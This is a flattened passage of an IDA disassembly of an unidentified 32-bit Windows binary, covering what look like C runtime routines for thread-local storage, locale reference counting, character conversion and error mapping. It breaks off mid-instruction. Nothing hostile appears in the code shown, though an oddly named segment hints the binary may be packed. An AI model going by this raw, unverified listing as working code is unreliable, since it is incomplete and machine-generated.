sub_40D35A push dword ptr [esi+0BCh] call sub_416424 pop ecx pop ecx loc_40EE8D: ; CODE XREF: sub_40EE22+52j ; sub_40EE22+56j push dword ptr [esi+0B0h] call sub_40D35A push dword ptr [esi+0BCh] call sub_40D35A pop ecx pop ecx loc_40EEA5: ; CODE XREF: sub_40EE22+12j ; sub_40EE22+19j ... mov eax, [esi+0C0h] cmp eax, ebp jz short loc_40EEF3 cmp [eax], ebp jnz short loc_40EEF3 mov eax, [esi+0C4h] sub eax, 0FEh push eax call sub_40D35A mov eax, [esi+0CCh] mov edi, 80h sub eax, edi push eax call sub_40D35A mov eax, [esi+0D0h] sub eax, edi push eax call sub_40D35A push dword ptr [esi+0C0h] call sub_40D35A add esp, 10h loc_40EEF3: ; CODE XREF: sub_40EE22+8Bj ; sub_40EE22+8Fj lea edi, [esi+0D4h] mov eax, [edi] cmp eax, offset dword_423E58 jz short loc_40EF19 cmp [eax+0B4h], ebp jnz short loc_40EF19 push eax call sub_416294 push dword ptr [edi] call sub_40D35A pop ecx pop ecx loc_40EF19: ; CODE XREF: sub_40EE22+DEj ; sub_40EE22+E6j push 6 lea edi, [esi+50h] pop ebx loc_40EF1F: ; CODE XREF: sub_40EE22+132j cmp dword ptr [edi-8], offset dword_423598 jz short loc_40EF39 mov eax, [edi] cmp eax, ebp jz short loc_40EF39 cmp [eax], ebp jnz short loc_40EF39 push eax call sub_40D35A pop ecx loc_40EF39: ; CODE XREF: sub_40EE22+104j ; sub_40EE22+10Aj ... cmp [edi-4], ebp jz short loc_40EF50 mov eax, [edi+4] cmp eax, ebp jz short loc_40EF50 cmp [eax], ebp jnz short loc_40EF50 push eax call sub_40D35A pop ecx loc_40EF50: ; CODE XREF: sub_40EE22+11Aj ; sub_40EE22+121j ... add edi, 10h dec ebx jnz short loc_40EF1F push esi call sub_40D35A pop ecx pop edi pop esi pop ebp pop ebx retn sub_40EE22 endp ; =============== S U B R O U T I N E ======================================= sub_40EF62 proc near ; CODE XREF: sub_40F074+12p ; sub_40F267+93p arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, ds:dword_41E17C push esi call edi ; InterlockedIncrement mov eax, [esi+0B0h] test eax, eax jz short loc_40EF80 push eax call edi ; InterlockedIncrement loc_40EF80: ; CODE XREF: sub_40EF62+19j mov eax, [esi+0B8h] test eax, eax jz short loc_40EF8D push eax call edi ; InterlockedIncrement loc_40EF8D: ; CODE XREF: sub_40EF62+26j mov eax, [esi+0B4h] test eax, eax jz short loc_40EF9A push eax call edi ; InterlockedIncrement loc_40EF9A: ; CODE XREF: sub_40EF62+33j mov eax, [esi+0C0h] test eax, eax jz short loc_40EFA7 push eax call edi ; InterlockedIncrement loc_40EFA7: ; CODE XREF: sub_40EF62+40j push 6 lea ebx, [esi+50h] pop ebp loc_40EFAD: ; CODE XREF: sub_40EF62+71j cmp dword ptr [ebx-8], offset dword_423598 jz short loc_40EFBF mov eax, [ebx] test eax, eax jz short loc_40EFBF push eax call edi ; InterlockedIncrement loc_40EFBF: ; CODE XREF: sub_40EF62+52j ; sub_40EF62+58j cmp dword ptr [ebx-4], 0 jz short loc_40EFCF mov eax, [ebx+4] test eax, eax jz short loc_40EFCF push eax call edi ; InterlockedIncrement loc_40EFCF: ; CODE XREF: sub_40EF62+61j ; sub_40EF62+68j add ebx, 10h dec ebp jnz short loc_40EFAD mov eax, [esi+0D4h] add eax, 0B4h push eax call edi ; InterlockedIncrement pop edi pop esi pop ebp pop ebx retn sub_40EF62 endp ; =============== S U B R O U T I N E ======================================= sub_40EFE8 proc near ; CODE XREF: sub_40F074+1Dp ; sub_40F3B6+CCp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_40F070 push ebx push ebp push edi mov edi, ds:dword_41E178 push esi call edi ; InterlockedDecrement mov eax, [esi+0B0h] test eax, eax jz short loc_40F00A push eax call edi ; InterlockedDecrement loc_40F00A: ; CODE XREF: sub_40EFE8+1Dj mov eax, [esi+0B8h] test eax, eax jz short loc_40F017 push eax call edi ; InterlockedDecrement loc_40F017: ; CODE XREF: sub_40EFE8+2Aj mov eax, [esi+0B4h] test eax, eax jz short loc_40F024 push eax call edi ; InterlockedDecrement loc_40F024: ; CODE XREF: sub_40EFE8+37j mov eax, [esi+0C0h] test eax, eax jz short loc_40F031 push eax call edi ; InterlockedDecrement loc_40F031: ; CODE XREF: sub_40EFE8+44j push 6 lea ebx, [esi+50h] pop ebp loc_40F037: ; CODE XREF: sub_40EFE8+75j cmp dword ptr [ebx-8], offset dword_423598 jz short loc_40F049 mov eax, [ebx] test eax, eax jz short loc_40F049 push eax call edi ; InterlockedDecrement loc_40F049: ; CODE XREF: sub_40EFE8+56j ; sub_40EFE8+5Cj cmp dword ptr [ebx-4], 0 jz short loc_40F059 mov eax, [ebx+4] test eax, eax jz short loc_40F059 push eax call edi ; InterlockedDecrement loc_40F059: ; CODE XREF: sub_40EFE8+65j ; sub_40EFE8+6Cj add ebx, 10h dec ebp jnz short loc_40F037 mov eax, [esi+0D4h] add eax, 0B4h push eax call edi ; InterlockedDecrement pop edi pop ebp pop ebx loc_40F070: ; CODE XREF: sub_40EFE8+7j mov eax, esi pop esi retn sub_40EFE8 endp ; =============== S U B R O U T I N E ======================================= sub_40F074 proc near ; CODE XREF: sub_40F0B2+54p test edi, edi jz short loc_40F0AF test eax, eax jz short loc_40F0AF push esi mov esi, [eax] cmp esi, edi jz short loc_40F0AB push edi mov [eax], edi call sub_40EF62 test esi, esi pop ecx jz short loc_40F0AB push esi call sub_40EFE8 cmp dword ptr [esi], 0 pop ecx jnz short loc_40F0AB cmp esi, offset dword_4235A0 jz short loc_40F0AB push esi call sub_40EE22 pop ecx loc_40F0AB: ; CODE XREF: sub_40F074+Dj ; sub_40F074+1Aj ... mov eax, edi pop esi retn ; --------------------------------------------------------------------------- loc_40F0AF: ; CODE XREF: sub_40F074+2j ; sub_40F074+6j xor eax, eax retn sub_40F074 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0B2 proc near ; CODE XREF: sub_40AB59+37p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_421A48 call __SEH_prolog4 call sub_40F39E mov esi, eax mov eax, dword_423594 test [esi+70h], eax jz short loc_40F0F1 cmp dword ptr [esi+6Ch], 0 jz short loc_40F0F1 call sub_40F39E mov esi, [eax+6Ch] loc_40F0DD: ; CODE XREF: sub_40F0B2+68j test esi, esi jnz short loc_40F0E9 push 20h call sub_41195D pop ecx loc_40F0E9: ; CODE XREF: sub_40F0B2+2Dj mov eax, esi call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40F0F1: ; CODE XREF: sub_40F0B2+1Bj ; sub_40F0B2+21j push 0Ch call sub_40F9F7 pop ecx and [ebp+ms_exc.disabled], 0 lea eax, [esi+6Ch] mov edi, off_423678 call sub_40F074 mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40F11C jmp short loc_40F0DD sub_40F0B2 endp ; =============== S U B R O U T I N E ======================================= sub_40F11C proc near ; CODE XREF: sub_40F0B2+63p ; DATA XREF: r69pu5ti:00421A60o push 0Ch call sub_40F91F pop ecx mov esi, [ebp-1Ch] retn sub_40F11C endp ; =============== S U B R O U T I N E ======================================= sub_40F128 proc near ; CODE XREF: sub_40C8D8+81p ; sub_40C8D8+96p ... arg_0 = dword ptr 4 push esi push dword_42368C mov esi, ds:dword_41E16C call esi ; TlsGetValue test eax, eax jz short loc_40F15C mov eax, dword_423688 cmp eax, 0FFFFFFFFh jz short loc_40F15C push eax push dword_42368C call esi ; TlsGetValue call eax test eax, eax jz short loc_40F15C mov eax, [eax+1F8h] jmp short loc_40F177 ; --------------------------------------------------------------------------- loc_40F15C: ; CODE XREF: sub_40F128+11j ; sub_40F128+1Bj ... push offset aKernel32_dll_0 ; "KERNEL32.DLL" call ds:dword_41E0CC ; GetModuleHandleA test eax, eax jz short loc_40F185 push offset aEncodepointer ; "EncodePointer" push eax call ds:off_41E0D4 loc_40F177: ; CODE XREF: sub_40F128+32j test eax, eax jz short loc_40F185 push [esp+4+arg_0] call eax mov [esp+4+arg_0], eax loc_40F185: ; CODE XREF: sub_40F128+41j ; sub_40F128+51j mov eax, [esp+4+arg_0] pop esi retn sub_40F128 endp ; =============== S U B R O U T I N E ======================================= sub_40F18B proc near ; CODE XREF: sub_411C19+1p ; sub_415677+2Fp ... push 0 call sub_40F128 pop ecx retn sub_40F18B endp ; =============== S U B R O U T I N E ======================================= sub_40F194 proc near ; CODE XREF: sub_40C8D8+Bp ; sub_40C8D8+1Cp ... arg_0 = dword ptr 4 push esi push dword_42368C mov esi, ds:dword_41E16C call esi ; TlsGetValue test eax, eax jz short loc_40F1C8 mov eax, dword_423688 cmp eax, 0FFFFFFFFh jz short loc_40F1C8 push eax push dword_42368C call esi ; TlsGetValue call eax test eax, eax jz short loc_40F1C8 mov eax, [eax+1FCh] jmp short loc_40F1E3 ; --------------------------------------------------------------------------- loc_40F1C8: ; CODE XREF: sub_40F194+11j ; sub_40F194+1Bj ... push offset aKernel32_dll_0 ; "KERNEL32.DLL" call ds:dword_41E0CC ; GetModuleHandleA test eax, eax jz short loc_40F1F1 push offset aDecodepointer ; "DecodePointer" push eax call ds:off_41E0D4 loc_40F1E3: ; CODE XREF: sub_40F194+32j test eax, eax jz short loc_40F1F1 push [esp+4+arg_0] call eax mov [esp+4+arg_0], eax loc_40F1F1: ; CODE XREF: sub_40F194+41j ; sub_40F194+51j mov eax, [esp+4+arg_0] pop esi retn sub_40F194 endp ; =============== S U B R O U T I N E ======================================= sub_40F1F7 proc near ; DATA XREF: sub_40F4D7+8Ao ; .data:off_425E84o call ds:dword_41E168 ; TlsAlloc retn 4 sub_40F1F7 endp ; =============== S U B R O U T I N E ======================================= sub_40F200 proc near ; CODE XREF: sub_40F31B+Ap push dword_42368C call ds:dword_41E16C ; TlsGetValue test eax, eax jnz short locret_40F229 push off_425E88 call sub_40F194 pop ecx push eax push dword_42368C call ds:dword_41E164 ; TlsSetValue locret_40F229: ; CODE XREF: sub_40F200+Ej retn sub_40F200 endp ; =============== S U B R O U T I N E ======================================= sub_40F22A proc near ; CODE XREF: sub_40F4D7+12p ; sub_40F4D7:loc_40F651p mov eax, dword_423688 cmp eax, 0FFFFFFFFh jz short loc_40F24A push eax push off_425E90 call sub_40F194 pop ecx call eax or dword_423688, 0FFFFFFFFh loc_40F24A: ; CODE XREF: sub_40F22A+8j mov eax, dword_42368C cmp eax, 0FFFFFFFFh jz short loc_40F262 push eax call ds:off_41E160 or dword_42368C, 0FFFFFFFFh loc_40F262: ; CODE XREF: sub_40F22A+28j jmp sub_40F8CA sub_40F22A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F267 proc near ; CODE XREF: sub_40F31B+59p ; sub_40F4D7+162p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 0Ch push offset dword_421A68 call __SEH_prolog4 push offset aKernel32_dll_0 ; "KERNEL32.DLL" call ds:dword_41E0CC ; GetModuleHandleA mov [ebp+var_1C], eax mov esi, [ebp+arg_0] mov dword ptr [esi+5Ch], offset dword_423DA0 xor edi, edi inc edi mov [esi+14h], edi test eax, eax jz short loc_40F2B9 push offset aEncodepointer ; "EncodePointer" push eax mov ebx, ds:off_41E0D4 call ebx ; sub_44439D mov [esi+1F8h], eax push offset aDecodepointer ; "DecodePointer" push [ebp+var_1C] call ebx ; sub_44439D mov [esi+1FCh], eax loc_40F2B9: ; CODE XREF: sub_40F267+2Cj mov [esi+70h], edi mov byte ptr [esi+0C8h], 43h mov byte ptr [esi+14Bh], 43h mov eax, offset dword_423070 mov [esi+68h], eax push eax call ds:dword_41E17C ; InterlockedIncrement push 0Ch call sub_40F9F7 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [ebp+arg_4] mov [esi+6Ch], eax test eax, eax jnz short loc_40F2F7 mov eax, off_423678 mov [esi+6Ch], eax loc_40F2F7: ; CODE XREF: sub_40F267+86j push dword ptr [esi+6Ch] call sub_40EF62 pop ecx mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40F312 call __SEH_epilog4 retn sub_40F267 endp ; =============== S U B R O U T I N E ======================================= sub_40F312 proc near ; CODE XREF: sub_40F267+A0p ; DATA XREF: r69pu5ti:00421A80o push 0Ch call sub_40F91F pop ecx retn sub_40F312 endp ; =============== S U B R O U T I N E ======================================= sub_40F31B proc near ; CODE XREF: sub_40F39E+1p sub_40F7D4p ... push esi push edi call ds:dword_41E0D8 ; RtlGetLastWin32Error mov edi, eax call sub_40F200 push dword_423688 push dword_42368C call ds:dword_41E16C ; TlsGetValue call eax mov esi, eax test esi, esi jnz short loc_40F392 push 214h push 1 call sub_41187A mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40F392 push esi push dword_423688 push off_425E8C call sub_40F194 pop ecx call eax test eax, eax jz short loc_40F389 push 0 push esi call sub_40F267 pop ecx pop ecx call ds:dword_41E0C8 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_40F392 ; --------------------------------------------------------------------------- loc_40F389: ; CODE XREF: sub_40F31B+54j push esi call sub_40D35A pop ecx xor esi, esi loc_40F392: ; CODE XREF: sub_40F31B+27j ; sub_40F31B+3Bj ... push edi call ds:dword_41E15C ; RtlRestoreLastWin32Error pop edi mov eax, esi pop esi retn sub_40F31B endp ; =============== S U B R O U T I N E ======================================= sub_40F39E proc near ; CODE XREF: sub_40AB59+Fp sub_40D0E9p ... push esi call sub_40F31B mov esi, eax test esi, esi jnz short loc_40F3B2 push 10h call sub_41195D pop ecx loc_40F3B2: ; CODE XREF: sub_40F39E+Aj mov eax, esi pop esi retn sub_40F39E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3B6 proc near ; DATA XREF: sub_40F4D7+115o ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_421A88 call __SEH_prolog4 mov esi, [ebp+arg_0] test esi, esi jz loc_40F4B7 mov eax, [esi+24h] test eax, eax jz short loc_40F3DB push eax call sub_40D35A pop ecx loc_40F3DB: ; CODE XREF: sub_40F3B6+1Cj mov eax, [esi+2Ch] test eax, eax jz short loc_40F3E9 push eax call sub_40D35A pop ecx loc_40F3E9: ; CODE XREF: sub_40F3B6+2Aj mov eax, [esi+34h] test eax, eax jz short loc_40F3F7 push eax call sub_40D35A pop ecx loc_40F3F7: ; CODE XREF: sub_40F3B6+38j mov eax, [esi+3Ch] test eax, eax jz short loc_40F405 push eax call sub_40D35A pop ecx loc_40F405: ; CODE XREF: sub_40F3B6+46j mov eax, [esi+44h] test eax, eax jz short loc_40F413 push eax call sub_40D35A pop ecx loc_40F413: ; CODE XREF: sub_40F3B6+54j mov eax, [esi+48h] test eax, eax jz short loc_40F421 push eax call sub_40D35A pop ecx loc_40F421: ; CODE XREF: sub_40F3B6+62j mov eax, [esi+5Ch] cmp eax, offset dword_423DA0 jz short loc_40F432 push eax call sub_40D35A pop ecx loc_40F432: ; CODE XREF: sub_40F3B6+73j push 0Dh call sub_40F9F7 pop ecx and [ebp+ms_exc.disabled], 0 mov edi, [esi+68h] test edi, edi jz short loc_40F45F push edi call ds:dword_41E178 ; InterlockedDecrement test eax, eax jnz short loc_40F45F cmp edi, offset dword_423070 jz short loc_40F45F push edi call sub_40D35A pop ecx loc_40F45F: ; CODE XREF: sub_40F3B6+8Dj ; sub_40F3B6+98j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40F4C2 push 0Ch call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], 1 mov edi, [esi+6Ch] test edi, edi jz short loc_40F4A4 push edi call sub_40EFE8 pop ecx cmp edi, off_423678 jz short loc_40F4A4 cmp edi, offset dword_4235A0 jz short loc_40F4A4 cmp dword ptr [edi], 0 jnz short loc_40F4A4 push edi call sub_40EE22 pop ecx loc_40F4A4: ; CODE XREF: sub_40F3B6+C9j ; sub_40F3B6+D8j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40F4CE push esi call sub_40D35A pop ecx loc_40F4B7: ; CODE XREF: sub_40F3B6+11j call __SEH_epilog4 retn 4 sub_40F3B6 endp ; --------------------------------------------------------------------------- mov esi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_40F4C2 proc near ; CODE XREF: sub_40F3B6+B0p push 0Dh call sub_40F91F pop ecx retn sub_40F4C2 endp ; --------------------------------------------------------------------------- mov esi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_40F4CE proc near ; CODE XREF: sub_40F3B6+F5p push 0Ch call sub_40F91F pop ecx retn sub_40F4CE endp ; =============== S U B R O U T I N E ======================================= sub_40F4D7 proc near ; CODE XREF: .text:loc_40E0B5p push edi push offset aKernel32_dll_0 ; "KERNEL32.DLL" call ds:dword_41E0CC ; GetModuleHandleA mov edi, eax test edi, edi jnz short loc_40F4F2 call sub_40F22A xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_40F4F2: ; CODE XREF: sub_40F4D7+10j push esi mov esi, ds:off_41E0D4 push offset dword_41E4C4 push edi call esi ; sub_44439D push offset aFlsgetvalue ; "FlsGetValue" push edi mov off_425E84, eax call esi ; sub_44439D push offset aFlssetvalue ; "FlsSetValue" push edi mov off_425E88, eax call esi ; sub_44439D push offset aFlsfree ; "FlsFree" push edi mov off_425E8C, eax call esi ; sub_44439D cmp off_425E84, 0 mov esi, ds:dword_41E164 mov off_425E90, eax jz short loc_40F552 cmp off_425E88, 0 jz short loc_40F552 cmp off_425E8C, 0 jz short loc_40F552 test eax, eax jnz short loc_40F576 loc_40F552: ; CODE XREF: sub_40F4D7+63j ; sub_40F4D7+6Cj ... mov eax, ds:dword_41E16C mov off_425E88, eax mov eax, ds:off_41E160 mov off_425E84, offset sub_40F1F7 mov off_425E8C, esi mov off_425E90, eax loc_40F576: ; CODE XREF: sub_40F4D7+79j call ds:dword_41E168 ; TlsAlloc cmp eax, 0FFFFFFFFh mov dword_42368C, eax jz loc_40F656 push off_425E88 push eax call esi ; TlsSetValue test eax, eax jz loc_40F656 call sub_411C19 push off_425E84 call sub_40F128 push off_425E88 mov off_425E84, eax call sub_40F128 push off_425E8C mov off_425E88, eax call sub_40F128 push off_425E90 mov off_425E8C, eax call sub_40F128 add esp, 10h mov off_425E90, eax call sub_40F881 test eax, eax jz short loc_40F651 push offset sub_40F3B6 push off_425E84 call sub_40F194 pop ecx call eax ; TlsGetValue cmp eax, 0FFFFFFFFh mov dword_423688, eax jz short loc_40F651 push 214h push 1 call sub_41187A mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40F651 push esi push dword_423688 push off_425E8C call sub_40F194 pop ecx call eax ; TlsGetValue test eax, eax jz short loc_40F651 push 0 push esi call sub_40F267 pop ecx pop ecx call ds:dword_41E0C8 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax xor eax, eax inc eax jmp short loc_40F658 ; --------------------------------------------------------------------------- loc_40F651: ; CODE XREF: sub_40F4D7+113j ; sub_40F4D7+130j ... call sub_40F22A loc_40F656: ; CODE XREF: sub_40F4D7+ADj ; sub_40F4D7+BEj xor eax, eax loc_40F658: ; CODE XREF: sub_40F4D7+178j pop esi pop edi retn sub_40F4D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F65B proc near ; CODE XREF: sub_40AC10+9Bp ; sub_40AC10+ADp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi push [ebp+arg_4] lea ecx, [ebp+var_18] call sub_40AB59 mov ebx, [ebp+arg_0] mov esi, 100h cmp ebx, esi jnb short loc_40F6CE mov ecx, [ebp+var_18] cmp dword ptr [ecx+0ACh], 1 jle short loc_40F69A lea eax, [ebp+var_18] push eax push 1 push ebx call sub_4167A4 mov ecx, [ebp+var_18] add esp, 0Ch jmp short loc_40F6A7 ; --------------------------------------------------------------------------- loc_40F69A: ; CODE XREF: sub_40F65B+29j mov eax, [ecx+0C8h] movzx eax, byte ptr [eax+ebx*2] and eax, 1 loc_40F6A7: ; CODE XREF: sub_40F65B+3Dj test eax, eax jz short loc_40F6BA mov eax, [ecx+0CCh] movzx eax, byte ptr [eax+ebx] jmp loc_40F761 ; --------------------------------------------------------------------------- loc_40F6BA: ; CODE XREF: sub_40F65B+4Ej ; sub_40F65B+EAj cmp [ebp+var_C], 0 jz short loc_40F6C7 mov eax, [ebp+var_10] and dword ptr [eax+70h], 0FFFFFFFDh loc_40F6C7: ; CODE XREF: sub_40F65B+63j mov eax, ebx jmp loc_40F76E ; --------------------------------------------------------------------------- loc_40F6CE: ; CODE XREF: sub_40F65B+1Dj mov eax, [ebp+var_18] cmp dword ptr [eax+0ACh], 1 jle short loc_40F70B mov [ebp+arg_0], ebx sar [ebp+arg_0], 8 lea eax, [ebp+var_18] push eax mov eax, [ebp+arg_0] and eax, 0FFh push eax call sub_416760 test eax, eax pop ecx pop ecx jz short loc_40F70B mov al, byte ptr [ebp+arg_0] push 2 mov [ebp+var_4], al mov [ebp+var_3], bl mov [ebp+var_2], 0 pop ecx jmp short loc_40F720 ; --------------------------------------------------------------------------- loc_40F70B: ; CODE XREF: sub_40F65B+7Dj ; sub_40F65B+9Cj call sub_40F7D4 mov dword ptr [eax], 2Ah xor ecx, ecx mov [ebp+var_4], bl mov [ebp+var_3], 0 inc ecx loc_40F720: ; CODE XREF: sub_40F65B+AEj mov eax, [ebp+var_18] push 1 push dword ptr [eax+4] lea edx, [ebp+var_8] push 3 push edx push ecx lea ecx, [ebp+var_4] push ecx push esi push dword ptr [eax+14h] lea eax, [ebp+var_18] push eax call sub_416059 add esp, 24h test eax, eax jz loc_40F6BA cmp eax, 1 jnz short loc_40F756 movzx eax, [ebp+var_8] jmp short loc_40F761 ; --------------------------------------------------------------------------- loc_40F756: ; CODE XREF: sub_40F65B+F3j movzx ecx, [ebp+var_7] xor eax, eax mov ah, [ebp+var_8] or eax, ecx loc_40F761: ; CODE XREF: sub_40F65B+5Aj ; sub_40F65B+F9j cmp [ebp+var_C], 0 jz short loc_40F76E mov ecx, [ebp+var_10] and dword ptr [ecx+70h], 0FFFFFFFDh loc_40F76E: ; CODE XREF: sub_40F65B+6Ej ; sub_40F65B+10Aj pop esi pop ebx leave retn sub_40F65B endp ; =============== S U B R O U T I N E ======================================= sub_40F772 proc near ; CODE XREF: sub_41A3CD+19p ; sub_41A3CD+36p arg_0 = dword ptr 4 cmp dword_425E60, 0 jnz short loc_40F78B mov eax, [esp+arg_0] lea ecx, [eax-41h] cmp ecx, 19h ja short locret_40F798 add eax, 20h retn ; --------------------------------------------------------------------------- loc_40F78B: ; CODE XREF: sub_40F772+7j push 0 push [esp+4+arg_0] call sub_40F65B pop ecx pop ecx locret_40F798: ; CODE XREF: sub_40F772+13j retn sub_40F772 endp ; =============== S U B R O U T I N E ======================================= sub_40F799 proc near ; CODE XREF: sub_40D35A+80p ; sub_40F7FA+Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_40F79F: ; CODE XREF: sub_40F799+13j cmp eax, dword_423690[ecx*8] jz short loc_40F7BA inc ecx cmp ecx, 2Dh jl short loc_40F79F lea ecx, [eax-13h] cmp ecx, 11h ja short loc_40F7C2 push 0Dh pop eax retn ; --------------------------------------------------------------------------- loc_40F7BA: ; CODE XREF: sub_40F799+Dj mov eax, dword_423694[ecx*8] retn ; --------------------------------------------------------------------------- loc_40F7C2: ; CODE XREF: sub_40F799+1Bj add eax, 0FFFFFF44h push 0Eh pop ecx cmp ecx, eax sbb eax, eax and eax, ecx add eax, 8 retn sub_40F799 endp ; =============== S U B R O U T I N E ======================================= sub_40F7D4 proc near ; CODE XREF: sub_40AC10+19p ; sub_40AC10+4Fp ... call sub_40F31B test eax, eax jnz short loc_40F7E3 mov eax, offset dword_4237F8 retn ; --------------------------------------------------------------------------- loc_40F7E3: ; CODE XREF: sub_40F7D4+7j add eax, 8 retn sub_40F7D4 endp ; =============== S U B R O U T I N E ======================================= sub_40F7E7 proc near ; CODE XREF: sub_40F7FA+1p ; sub_412765+14p ... call sub_40F31B test eax, eax jnz short loc_40F7F6 mov eax, offset dword_4237FC retn ; --------------------------------------------------------------------------- loc_40F7F6: ; CODE XREF: sub_40F7E7+7j add eax, 0Ch retn sub_40F7E7 endp ; =============== S U B R O U T I N E ======================================= sub_40F7FA proc near ; CODE XREF: sub_4126D1+84p ; sub_413B24+3FBp ... arg_0 = dword ptr 4 push esi call sub_40F7E7 mov ecx, [esp+4+arg_0] push ecx mov [eax], ecx call sub_40F799 pop ecx mov esi, eax call sub_40F7D4 mov [eax], esi pop esi retn sub_40F7FA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F820 proc near ; CODE XREF: sub_40AD33+9Ap ; sub_40AE23+42j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] or ecx, ecx jz short loc_40F87A mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_40F83C: ; CODE XREF: sub_40F820+49j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_40F86B or al, al jz short loc_40F86B add esi, 1 add edi, 1 cmp ah, bh jb short loc_40F858 cmp ah, bl ja short loc_40F858 add ah, dh loc_40F858: ; CODE XREF: sub_40F820+30j ; sub_40F820+34j cmp al, bh jb short loc_40F862 cmp al, bl ja short loc_40F862 add al, dh loc_40F862: ; CODE XREF: sub_40F820+3Aj ; sub_40F820+3Ej cmp ah, al jnz short loc_40F871 sub ecx, 1 jnz short loc_40F83C loc_40F86B: ; CODE XREF: sub_40F820+22j ; sub_40F820+26j xor ecx, ecx cmp ah, al jz short loc_40F87A loc_40F871: ; CODE XREF: sub_40F820+44j mov ecx, 0FFFFFFFFh jb short loc_40F87A neg ecx loc_40F87A: ; CODE XREF: sub_40F820+Bj ; sub_40F820+4Fj ... mov eax, ecx pop ebx pop esi pop edi leave retn sub_40F820 endp ; =============== S U B R O U T I N E ======================================= sub_40F881 proc near ; CODE XREF: sub_40F4D7+10Cp push esi push edi xor esi, esi mov edi, offset dword_425E98 loc_40F88A: ; CODE XREF: sub_40F881+35j cmp dword_423804[esi*8], 1 jnz short loc_40F8B2 lea eax, ds:423800h[esi*8] mov [eax], edi push 0FA0h push dword ptr [eax] add edi, 18h call sub_416874 test eax, eax pop ecx pop ecx jz short loc_40F8BE loc_40F8B2: ; CODE XREF: sub_40F881+11j inc esi cmp esi, 24h jl short loc_40F88A xor eax, eax inc eax loc_40F8BB: ; CODE XREF: sub_40F881+47j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40F8BE: ; CODE XREF: sub_40F881+2Fj and off_423800[esi*8], 0 xor eax, eax jmp short loc_40F8BB sub_40F881 endp ; =============== S U B R O U T I N E ======================================= sub_40F8CA proc near ; CODE XREF: sub_40F22A:loc_40F262j push ebx mov ebx, ds:off_41E158 push esi mov esi, offset off_423800 push edi loc_40F8D8: ; CODE XREF: sub_40F8CA+30j mov edi, [esi] test edi, edi jz short loc_40F8F1 cmp dword ptr [esi+4], 1 jz short loc_40F8F1 push edi call ebx ; sub_43CBF3 push edi call sub_40D35A and dword ptr [esi], 0 pop ecx loc_40F8F1: ; CODE XREF: sub_40F8CA+12j ; sub_40F8CA+18j add esi, 8 cmp esi, offset dword_423920 jl short loc_40F8D8 mov esi, offset off_423800 pop edi loc_40F902: ; CODE XREF: sub_40F8CA+50j mov eax, [esi] test eax, eax jz short loc_40F911 cmp dword ptr [esi+4], 1 jnz short loc_40F911 push eax call ebx ; sub_43CBF3 loc_40F911: ; CODE XREF: sub_40F8CA+3Cj ; sub_40F8CA+42j add esi, 8 cmp esi, offset dword_423920 jl short loc_40F902 pop esi pop ebx retn sub_40F8CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F91F proc near ; CODE XREF: sub_40C625+2p ; sub_40D3B0+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push off_423800[eax*8] call ds:dword_41E154 ; RtlLeaveCriticalSection pop ebp retn sub_40F91F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F934 proc near ; CODE XREF: sub_40F9F7+14p ; sub_412126+4Fp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_421AB0 call __SEH_prolog4 xor edi, edi inc edi mov [ebp+var_1C], edi xor ebx, ebx cmp dword_425FE8, ebx jnz short loc_40F968 call sub_413861 push 1Eh call sub_4136C1 push 0FFh call sub_4119A7 pop ecx pop ecx loc_40F968: ; CODE XREF: sub_40F934+1Aj mov esi, [ebp+arg_0] lea esi, ds:423800h[esi*8] cmp [esi], ebx jz short loc_40F97A mov eax, edi jmp short loc_40F9E8 ; --------------------------------------------------------------------------- loc_40F97A: ; CODE XREF: sub_40F934+40j push 18h call sub_41183A pop ecx mov edi, eax cmp edi, ebx jnz short loc_40F997 call sub_40F7D4 mov dword ptr [eax], 0Ch xor eax, eax jmp short 